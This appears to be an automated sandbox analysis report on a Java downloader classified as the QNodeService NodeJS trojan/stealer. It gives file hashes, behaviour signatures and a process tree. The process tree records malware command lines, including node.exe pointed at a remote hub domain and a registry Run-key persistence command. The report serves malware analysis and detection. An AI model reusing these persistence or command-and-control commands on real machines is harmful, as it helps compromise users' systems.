Analysis

  • max time kernel
    66s
  • max time network
    127s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    17-10-2020 07:01

General

  • Target

    img-602501554-0001.jar

  • Size

    209KB

  • MD5

    369eb059f2b5b98c7b42e14fad64c2a7

  • SHA1

    84c74b6512664d339f7f49a5368f9a6fdf6025e4

  • SHA256

    f80a0b2708893179f10771d1656875f67d6a9fba78ffcfe14485aae21b31dc55

  • SHA512

    8cccf82be1dd1fc9b4375c1c066f077b5433fa82d03bc46c90a5ae1b348b1c5deab9ea45313720f222a45316751189ea887c526d30cf80188f74db76771093bb

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\img-602501554-0001.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2584
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\99069384.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:212
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain karimrnosa2.home-webserver.de
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:204
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_B92SGw\boot.js --hub-domain karimrnosa2.home-webserver.de
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2528
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_B92SGw\boot.js --hub-domain karimrnosa2.home-webserver.de
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3064
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "8a7db0d7-8241-4b48-9477-241beb708393" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2844
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "8a7db0d7-8241-4b48-9477-241beb708393" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:3812

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/204-161-0x000002570B840000-0x000002570B841000-memory.dmp

    Filesize

    4KB

  • memory/2528-164-0x000000CE3E6C0000-0x000000CE3E6C1000-memory.dmp

    Filesize

    4KB

  • memory/3064-168-0x0000025855E40000-0x0000025855E41000-memory.dmp

    Filesize

    4KB